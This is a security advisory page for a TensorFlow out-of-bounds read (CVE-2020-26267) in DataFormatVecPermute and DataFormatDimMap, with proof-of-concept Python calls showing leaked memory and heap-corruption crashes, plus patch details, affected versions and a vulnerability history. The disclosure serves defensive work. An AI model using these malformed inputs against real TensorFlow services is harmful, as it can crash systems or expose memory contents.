Lack of validation in data format attributes in TensorFlow
Impact
The tf.raw_ops.DataFormatVecPermute API does not validate the src_format and dst_format attributes. The code assumes that these two arguments define a permutation of NHWC.
However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.
>>> import tensorflow as tf
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='1234', dst_format='1253')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='1234', dst_format='1223')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='1224', dst_format='1423')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
src_format='12345678', dst_format='87654321')
munmap_chunk(): invalid pointer
Aborted
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],
src_format='12345678', dst_format='87654321')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[71364624, 0],
[71365824, 0],
[ 560, 0],
[ 48, 0]], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],
src_format='12345678', dst_format='87654321')
free(): invalid next size (fast)
Aborted
A similar issue occurs in tf.raw_ops.DataFormatDimMap, for the same reasons:
>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',
>>> dst_format='8765')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[1954047348, 1954047348],
[1852793646, 1852793646],
[1954047348, 1954047348],
[1852793632, 1852793632]], dtype=int32)>
Patches
We have patched the issue in GitHub commit ebc70b7a592420d3d2f359e4b1694c236b82c7ae and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.
Since this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 1.15.5, >= 2.0.0, < 2.0.4, >= 2.1.0, < 2.1.3, >= 2.2.0, < 2.2.2, >= 2.3.0, < 2.3.2 | 1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2 |
| Python (PyPI) | tensorflow-cpu | < 1.15.5, >= 2.0.0, < 2.0.4, >= 2.1.0, < 2.1.3, >= 2.2.0, < 2.2.2, >= 2.3.0, < 2.3.2 | 1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2 |
| Python (PyPI) | tensorflow-gpu | < 1.15.5, >= 2.0.0, < 2.0.4, >= 2.1.0, < 2.1.3, >= 2.2.0, < 2.2.2, >= 2.3.0, < 2.3.2 | 1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2 |
References
- https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c9f3-9wfr-wgh7
- https://nvd.nist.gov/vuln/detail/CVE-2020-26267
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-298.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-333.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-140.yaml
- https://github.com/tensorflow/tensorflow
- CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L- Weakness (CWE)
CWE-125- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu, tensorflow-gpu- Disclosed
- 10.12.2020
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2020-140 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2020-298 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2020-333 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-c9f3-9wfr-wgh7 - CC BY 4.0
Vulnerability history: tensorflow-gpu
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 427
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 109
- Medium 207
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 18
- 2024: 1
- 2025: 0
- 2026: 0
-
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